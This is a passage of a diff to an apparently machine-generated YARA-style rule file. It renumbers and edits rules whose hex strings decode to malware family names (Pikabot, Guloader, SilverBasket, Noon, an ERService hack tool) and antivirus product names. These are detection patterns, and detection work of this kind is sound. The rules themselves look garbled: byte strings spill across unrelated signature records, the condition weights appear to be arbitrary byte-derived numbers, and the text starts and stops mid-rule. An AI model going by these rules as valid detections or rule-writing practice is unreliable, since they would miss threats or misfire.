6f 67 72 61 6d 44 61 74 61 5c 53 6b 79 50 44 46 5c 43 6c 73 53 72 76 2e 69 6e 66 01 00 20 80 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 53 6b 79 50 44 46 5c 50 44 55 44 72 76 2e 62 6c 66 00 00 78 78 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 4e 41 } //-13687 + $a_eb_1 = {01 01 c1 e2 90 01 01 31 da 41 01 c1 01 ca 44 31 ca 41 29 d0 85 c0 75 90 00 00 00 78 78 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 4e 41 4d 45 5f 4d 61 6c 69 63 69 6f 75 73 43 6c 69 63 6b 4f 6e 63 65 47 65 6e 65 72 61 74 6f 00 01 00 1b 81 01 4d 61 6c 69 63 69 6f 75 73 43 6c 69 63 6b 4f 6e 63 65 47 65 6e 65 72 61 74 6f 72 01 00 0d 81 01 41 73 73 65 6d 62 6c 79 54 69 74 6c 65 00 00 78 78 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 43 53 45 5f 43 79 62 53 65 63 5f 45 6e 74 65 72 70 2f 41 50 54 32 } //-13687 condition: ((#a_46_0 & 1)*16675+(#a_eb_1 & 1)*-13687) >=2 } -rule _InfrastructureShared_7608{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 69 6c 76 65 72 42 61 73 6b 65 74 2e 41 21 64 68 61 00 01 00 20 80 01 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 53 6b 79 50 44 46 5c 43 6c 73 53 72 76 2e 69 6e 66 01 00 20 80 01 43 3a } //16675 - $a_6f_1 = {72 61 6d 44 61 74 61 5c 53 6b 79 50 44 46 5c 50 44 55 44 72 76 2e 62 6c 66 00 00 78 78 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 4e 41 4d 45 5f 4d 61 6c 69 63 69 6f 75 73 43 6c 69 63 6b 4f 6e 63 65 47 65 6e 65 72 61 74 6f 00 01 00 1b 81 01 4d 61 6c 69 63 69 6f 75 73 43 } //20572 - condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20572) >=2 - -} -rule _InfrastructureShared_7609{ +rule _InfrastructureShared_8042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80110,7 +84712,7 @@ rule _InfrastructureShared_7609{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*25454) >=2 } -rule _InfrastructureShared_7610{ +rule _InfrastructureShared_8043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80121,7 +84723,7 @@ rule _InfrastructureShared_7610{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26303) >=2 } -rule _InfrastructureShared_7611{ +rule _InfrastructureShared_8044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80132,7 +84734,7 @@ rule _InfrastructureShared_7611{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-29951) >=2 } -rule _InfrastructureShared_7612{ +rule _InfrastructureShared_8045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80143,7 +84745,7 @@ rule _InfrastructureShared_7612{ ((#a_46_0 & 1)*16675+(#a_0c_1 & 1)*-30410) >=2 } -rule _InfrastructureShared_7613{ +rule _InfrastructureShared_8046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80154,7 +84756,7 @@ rule _InfrastructureShared_7613{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*4042) >=2 } -rule _InfrastructureShared_7614{ +rule _InfrastructureShared_8047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80165,7 +84767,7 @@ rule _InfrastructureShared_7614{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*4328) >=2 } -rule _InfrastructureShared_7615{ +rule _InfrastructureShared_8048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80176,7 +84778,7 @@ rule _InfrastructureShared_7615{ ((#a_46_0 & 1)*16675+(#a_0d_1 & 1)*-16125) >=2 } -rule _InfrastructureShared_7616{ +rule _InfrastructureShared_8049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80186,7 +84788,7 @@ rule _InfrastructureShared_7616{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7617{ +rule _InfrastructureShared_8050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80197,7 +84799,7 @@ rule _InfrastructureShared_7617{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-19711) >=2 } -rule _InfrastructureShared_7618{ +rule _InfrastructureShared_8051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80208,7 +84810,7 @@ rule _InfrastructureShared_7618{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*4367) >=2 } -rule _InfrastructureShared_7619{ +rule _InfrastructureShared_8052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80219,7 +84821,7 @@ rule _InfrastructureShared_7619{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*-31898) >=2 } -rule _InfrastructureShared_7620{ +rule _InfrastructureShared_8053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80230,7 +84832,7 @@ rule _InfrastructureShared_7620{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26144) >=2 } -rule _InfrastructureShared_7621{ +rule _InfrastructureShared_8054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80240,7 +84842,7 @@ rule _InfrastructureShared_7621{ ((#a_77_0 & 1)*19491) >=2 } -rule _InfrastructureShared_7622{ +rule _InfrastructureShared_8055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -80250,7 +84852,7 @@ rule _InfrastructureShared_7622{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_7623{ +rule _InfrastructureShared_8056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -80261,7 +84863,7 @@ rule _InfrastructureShared_7623{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*55) >=2 } -rule _InfrastructureShared_7624{ +rule _InfrastructureShared_8057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -80274,7 +84876,7 @@ rule _InfrastructureShared_7624{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*13313+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=2 } -rule _InfrastructureShared_7625{ +rule _InfrastructureShared_8058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -80288,7 +84890,7 @@ rule _InfrastructureShared_7625{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28532+(#a_88_2 & 1)*0+(#a_43_3 & 1)*7680+(#a_3d_4 & 1)*17481) >=2 } -rule _InfrastructureShared_7626{ +rule _InfrastructureShared_8059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -80298,7 +84900,7 @@ rule _InfrastructureShared_7626{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_7627{ +rule _InfrastructureShared_8060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80309,7 +84911,7 @@ rule _InfrastructureShared_7627{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*22130) >=3 } -rule _InfrastructureShared_7628{ +rule _InfrastructureShared_8061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80321,31 +84923,43 @@ rule _InfrastructureShared_7628{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*5120+(#a_69_2 & 1)*29807) >=3 } -rule _InfrastructureShared_7629{ +rule _InfrastructureShared_8062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 6b 61 62 6f 74 2e 45 44 21 4d 54 42 00 01 00 27 01 89 55 fc 89 45 f8 0f 31 89 55 f4 89 45 fc 33 c0 b8 05 00 00 00 c1 e8 02 2b c3 3b c1 0f 31 89 55 f0 89 45 f8 8b 44 8d 01 00 10 01 b8 00 00 00 00 cd 2d } //18467 - $a_cc_1 = {cc cc cc cc 01 00 0a 01 64 a1 30 00 00 00 8b 40 18 c3 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 5a 21 4d 54 42 00 01 00 16 01 49 55 6e 6b 6e 6f 77 6e 5f 52 65 6c 65 61 73 65 5f 50 72 6f 78 79 01 00 1d 01 49 55 6e 6b 6e 6f 77 6e 5f 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 5f 50 72 6f 78 79 01 00 11 01 77 75 2e 75 70 67 72 61 64 65 2e 70 73 2e 70 64 62 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 48 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6f 75 6d 61 72 71 75 65 01 00 } //-15472 - $a_68_2 = {76 } //-32475 v + $a_cc_1 = {cc cc cc cc 01 00 0a 01 64 a1 30 00 00 00 8b 40 18 c3 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 5a 21 4d 54 42 00 01 00 16 01 49 55 6e 6b 6e 6f 77 6e 5f 52 65 6c 65 61 73 65 5f 50 72 6f 78 79 01 00 1d 01 49 55 6e 6b 6e 6f 77 6e 5f 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 5f 50 72 6f 78 79 01 00 11 01 77 75 2e 75 70 67 72 61 64 65 2e 70 73 2e 70 64 62 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 58 30 31 21 4d 54 42 00 01 00 18 81 01 69 6e 73 74 69 74 75 74 69 6f 6e 20 63 } //-15472 + $a_79_2 = {6f 6d 6f 72 70 68 01 00 21 81 01 69 6e 74 72 61 70 61 72 74 79 20 6d 6f 72 70 68 65 6d 65 73 20 70 61 72 74 69 66 6f 72 6d 61 6e 64 01 00 08 81 01 61 6e 72 65 2e 65 78 65 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 48 31 32 33 21 } //25455 condition: - ((#a_54_0 & 1)*18467+(#a_cc_1 & 1)*-15472+(#a_68_2 & 1)*-32475) >=3 + ((#a_54_0 & 1)*18467+(#a_cc_1 & 1)*-15472+(#a_79_2 & 1)*25455) >=3 } -rule _InfrastructureShared_7630{ +rule _InfrastructureShared_8063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 5a 21 4d 54 42 00 01 00 16 01 49 55 6e 6b 6e 6f 77 6e 5f 52 65 6c 65 61 73 65 5f 50 72 6f 78 79 01 00 1d 01 49 55 6e 6b 6e 6f 77 6e 5f 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 5f 50 72 6f } //18467 $a_00_1 = {11 } //31096 - $a_2e_2 = {70 67 72 61 64 65 2e 70 73 2e 70 64 62 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 48 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6f 75 6d 61 72 71 75 65 01 00 25 81 01 68 6f 76 65 64 67 72 75 70 70 65 72 6e 65 20 70 65 72 69 63 6f 6c 69 74 69 73 20 66 6f 72 6d 6f 64 6e 69 6e 67 01 00 } //30465 + $a_2e_2 = {70 67 72 61 64 65 2e 70 73 2e 70 64 62 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 58 30 31 21 4d 54 42 00 01 00 18 81 01 69 6e 73 74 69 74 75 74 69 6f 6e 20 63 6f 63 63 79 67 6f 6d 6f 72 70 68 01 00 21 81 01 69 6e 74 72 61 70 61 72 74 79 20 6d 6f 72 70 68 65 6d 65 73 20 70 61 72 74 69 } //30465 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31096+(#a_2e_2 & 1)*30465) >=3 } -rule _InfrastructureShared_7631{ +rule _InfrastructureShared_8064{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 58 30 31 21 4d 54 42 00 01 00 18 81 01 69 6e 73 74 69 74 75 74 69 6f 6e 20 63 6f 63 63 79 67 6f 6d 6f 72 70 68 01 00 21 81 01 69 6e 74 72 61 70 61 72 74 79 20 6d 6f 72 70 68 65 6d 65 73 20 70 61 } //18467 + $a_66_1 = {72 6d 61 6e 64 01 00 08 81 01 61 6e 72 65 2e 65 78 65 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 48 31 32 33 21 4d 54 42 00 01 00 09 81 01 73 6f 75 6d 61 72 71 75 65 01 00 25 81 01 68 6f 76 65 64 67 72 75 70 70 65 72 6e 65 20 70 65 72 69 63 6f 6c } //29810 + $a_73_2 = {66 6f 72 6d 6f 64 6e 69 6e 67 01 00 11 81 01 66 69 73 74 65 64 65 20 73 63 6c 65 72 65 69 64 73 00 00 78 78 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 56 57 31 32 33 21 4d 54 42 00 01 00 16 81 01 75 6e 64 65 63 6c 69 6e 65 64 20 6c 75 67 6e 69 6e 67 65 72 6e 65 } //29801 + condition: + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*29810+(#a_73_2 & 1)*29801) >=3 + +} +rule _InfrastructureShared_8065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80356,7 +84970,7 @@ rule _InfrastructureShared_7631{ ((#a_54_0 & 1)*18467+(#a_73_2 & 1)*26113) >=3 } -rule _InfrastructureShared_7632{ +rule _InfrastructureShared_8066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80368,7 +84982,7 @@ rule _InfrastructureShared_7632{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*30313+(#a_20_2 & 1)*29811) >=3 } -rule _InfrastructureShared_7633{ +rule _InfrastructureShared_8067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80380,7 +84994,7 @@ rule _InfrastructureShared_7633{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29441+(#a_20_2 & 1)*25972) >=3 } -rule _InfrastructureShared_7634{ +rule _InfrastructureShared_8068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80392,7 +85006,7 @@ rule _InfrastructureShared_7634{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_73_2 & 1)*-32501) >=3 } -rule _InfrastructureShared_7635{ +rule _InfrastructureShared_8069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80404,7 +85018,7 @@ rule _InfrastructureShared_7635{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*8306+(#a_73_2 & 1)*27755) >=3 } -rule _InfrastructureShared_7636{ +rule _InfrastructureShared_8070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80415,7 +85029,7 @@ rule _InfrastructureShared_7636{ ((#a_54_0 & 1)*18467+(#a_62_2 & 1)*26369) >=3 } -rule _InfrastructureShared_7637{ +rule _InfrastructureShared_8071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80427,7 +85041,7 @@ rule _InfrastructureShared_7637{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28161+(#a_74_2 & 1)*29287) >=3 } -rule _InfrastructureShared_7638{ +rule _InfrastructureShared_8072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -80439,7 +85053,7 @@ rule _InfrastructureShared_7638{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27749+(#a_00_2 & 1)*25976) >=3 } -rule _InfrastructureShared_7639{ +rule _InfrastructureShared_8073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -80453,23 +85067,34 @@ rule _InfrastructureShared_7639{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25976+(#a_65_2 & 1)*31077+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=3 } -rule _InfrastructureShared_7640{ +rule _InfrastructureShared_8074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " strings : $a_54_0 = {3a 56 69 72 74 6f 6f 6c 3a 4b 69 6c 6c 61 76 00 01 00 10 01 5c 41 6c 77 69 6c 20 53 6f 66 74 77 61 72 65 5c 01 00 12 00 25 70 72 6f 67 72 61 6d 66 69 6c 65 73 25 5c 61 76 67 01 00 05 00 70 61 6e 64 61 01 00 05 00 61 76 69 72 61 01 00 07 00 67 72 69 } //18467 - $a_74_1 = {00 06 00 6e 6f 72 74 6f 6e 01 00 05 00 61 76 61 73 74 00 00 78 78 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 4e 6f 6f 6e 2e 53 49 21 4d 54 42 00 02 00 14 01 19 11 11 5f 19 62 1f 1f 5f 63 d2 61 d2 52 17 11 11 58 13 11 02 00 32 81 01 68 65 69 64 69 5f 73 63 68 77 } //28531 - $a_7a_2 = {43 39 36 38 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 78 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 00 01 00 0d 80 01 73 6b 69 70 41 6c 6c 4f 66 66 65 72 73 01 00 10 80 01 47 65 6e 65 72 69 63 53 65 74 75 70 2e 65 78 65 } //29281 - $a_80_3 = {4f 66 66 65 72 44 65 63 6c 69 6e 65 64 } //OfferDeclined 1 - $a_80_4 = {42 75 6e 64 6c 65 50 72 6f 70 6f 73 65 64 4f 66 66 65 72 73 } //BundleProposedOffers 1 - $a_78_5 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4a 31 32 33 21 4d 54 42 00 01 00 12 81 01 6f 73 63 75 6c 61 62 6c 65 20 73 77 61 74 74 69 6e 67 01 00 0c 81 01 64 64 73 73 70 72 69 6e 67 65 74 73 01 00 09 81 01 70 68 65 6e 65 74 68 79 6c 01 00 13 81 01 73 65 63 6c 75 73 69 6f 6e 73 20 74 6f 75 63 68 69 6e 67 00 } //0 - $a_00_6 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 4a 31 32 33 21 4d 54 42 00 01 00 07 81 01 69 6e 73 65 63 74 61 01 00 0c 81 01 6d 6f 6e 64 6e 69 74 65 74 65 6e 73 01 00 0c 81 01 70 75 6c 70 65 66 61 63 74 69 6f 6e 01 00 1b 81 01 67 61 6c 6c 69 73 6b 65 73 20 6d 6f 6e 6f 70 68 61 73 69 63 20 6e 79 73 61 6c 67 00 } //30720 + $a_74_1 = {00 06 00 6e 6f 72 74 6f 6e 01 00 05 00 61 76 61 73 74 00 00 78 78 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 45 52 53 65 72 76 69 63 65 2e 44 5a 4c 4f 21 4d 54 42 00 02 00 2b 03 07 08 09 28 90 01 01 00 00 2b 6f 90 01 01 00 00 0a 00 06 08 16 08 8e 69 6f 90 01 01 00 } //28531 + $a_00_2 = {09 16 fe 02 13 04 11 04 90 00 02 00 16 } //2560 + $a_70_3 = {6f 69 74 52 65 6d 6f 74 69 6e 67 53 65 72 76 69 63 65 00 00 78 78 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 4e 6f 6f 6e 2e 53 49 21 4d 54 42 00 02 00 14 01 19 11 11 5f 19 62 1f 1f 5f 63 d2 61 d2 52 17 11 11 58 13 11 02 00 32 81 01 68 65 69 64 69 5f 73 63 68 77 61 72 74 7a 5f 43 39 36 38 2e 50 72 6f 70 65 72 74 69 } //17665 + $a_52_4 = {73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 78 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 72 6f 67 72 61 6d 3a 57 69 6e } //29541 + $a_4f_5 = {66 65 72 43 6f 72 65 00 01 00 0d 80 01 73 6b 69 70 41 6c 6c 4f 66 66 65 72 73 01 00 10 80 01 47 65 6e 65 72 69 63 53 65 74 75 70 2e 65 78 65 } //12851 + $a_80_6 = {4f 66 66 65 72 44 65 63 6c 69 6e 65 64 } //OfferDeclined 1 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28531+(#a_7a_2 & 1)*29281+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_78_5 & 1)*0+(#a_00_6 & 1)*30720) >=3 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28531+(#a_00_2 & 1)*2560+(#a_70_3 & 1)*17665+(#a_52_4 & 1)*29541+(#a_4f_5 & 1)*12851+(#a_80_6 & 1)*1) >=3 } -rule _InfrastructureShared_7641{ +rule _InfrastructureShared_8075{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 45 52 53 65 72 76 69 63 65 2e 44 5a 4c 4f 21 4d 54 42 00 02 00 2b 03 07 08 09 28 90 01 01 00 00 2b 6f 90 01 01 00 00 0a 00 06 08 16 08 8e 69 6f 90 01 01 00 00 0a 0d } //21539 + $a_fe_1 = {13 04 11 04 90 00 02 00 16 01 45 78 70 6c 6f 69 74 52 65 6d 6f 74 } //2304 + condition: + ((#a_4c_0 & 1)*21539+(#a_fe_1 & 1)*2304) >=4 + +} +rule _InfrastructureShared_8076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -80480,19 +85105,46 @@ rule _InfrastructureShared_7641{ ((#a_4c_0 & 1)*21539+(#a_39_1 & 1)*24442) >=4 } -rule _InfrastructureShared_7642{ +rule _InfrastructureShared_8077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 00 01 00 0d 80 01 73 6b 69 70 41 6c 6c 4f 66 66 65 72 73 01 00 10 80 01 47 65 6e 65 72 69 63 53 65 74 75 70 2e 65 78 65 01 00 0d 80 01 4f 66 66 65 72 44 65 63 } //16675 - $a_65_1 = {01 00 14 80 01 42 75 6e 64 6c 65 50 72 6f 70 6f 73 65 64 4f 66 66 65 72 73 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4a 31 32 33 21 4d 54 42 00 01 00 12 81 01 6f 73 63 75 6c 61 62 6c 65 20 73 77 61 74 74 69 6e 67 01 00 0c 81 01 64 64 73 73 70 72 69 6e 67 65 74 } //26988 - $a_68_3 = {6e 65 74 68 79 6c 01 00 13 81 01 73 65 63 6c 75 73 69 6f 6e 73 20 74 6f 75 63 68 69 6e 67 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 4a 31 32 33 21 4d 54 42 00 01 00 07 81 01 69 6e 73 65 63 74 61 01 00 0c 81 01 6d 6f 6e 64 6e 69 74 65 74 65 6e 73 01 00 0c 81 01 70 75 } //385 + $a_65_1 = {01 00 14 80 01 42 75 6e 64 6c 65 50 72 6f 70 6f 73 65 64 4f 66 66 65 72 73 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 45 30 31 21 4d 54 42 00 01 00 0d 81 01 70 73 79 6b 6f 74 65 72 61 70 69 65 6e 01 00 12 81 01 73 65 6e 65 63 61 6e 20 73 70 6f } //26988 + $a_70_2 = {72 74 01 00 09 81 01 63 68 61 6c 6f 74 74 65 6e 01 00 0d 81 01 64 65 73 6d 6f 74 6f 6d 79 2e 65 78 65 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 56 21 4d 54 42 00 01 00 0b 81 01 61 63 65 61 6e 74 68 72 65 6e 65 01 00 0e 81 01 6f 72 74 68 6f 67 6f 6e 61 6c 69 } //27753 + $a_01_3 = {00 08 81 01 66 6e 6f 6d 65 6e 65 72 01 00 16 81 01 68 73 65 20 65 6b 73 6b 6c 75 64 65 72 65 6e 64 65 73 2e 65 78 65 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4a 31 32 33 21 4d 54 42 00 01 00 12 81 01 6f 73 63 75 6c 61 62 6c 65 20 } //25971 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26988+(#a_68_3 & 1)*385) >=4 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26988+(#a_70_2 & 1)*27753+(#a_01_3 & 1)*25971) >=4 } -rule _InfrastructureShared_7643{ +rule _InfrastructureShared_8078{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 45 30 31 21 4d 54 42 00 01 00 0d 81 01 70 73 79 6b 6f 74 65 72 61 70 69 65 6e 01 00 12 81 01 73 65 6e 65 63 61 6e 20 73 70 6f 69 6c 73 70 6f 72 74 01 00 09 81 01 63 68 61 6c } //18467 + $a_65_1 = {01 00 0d 81 01 64 65 73 6d 6f 74 6f 6d 79 2e 65 78 65 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 56 21 4d 54 42 00 01 00 0b 81 01 61 63 65 61 6e 74 68 72 65 6e 65 01 00 0e 81 01 6f 72 74 68 6f 67 6f 6e 61 6c 69 73 65 64 01 00 08 81 01 66 6e 6f 6d 65 6e 65 72 01 } //29807 + $a_01_2 = {68 73 65 20 65 6b 73 6b 6c 75 64 65 72 65 6e 64 65 73 2e 65 78 65 00 00 78 78 00 00 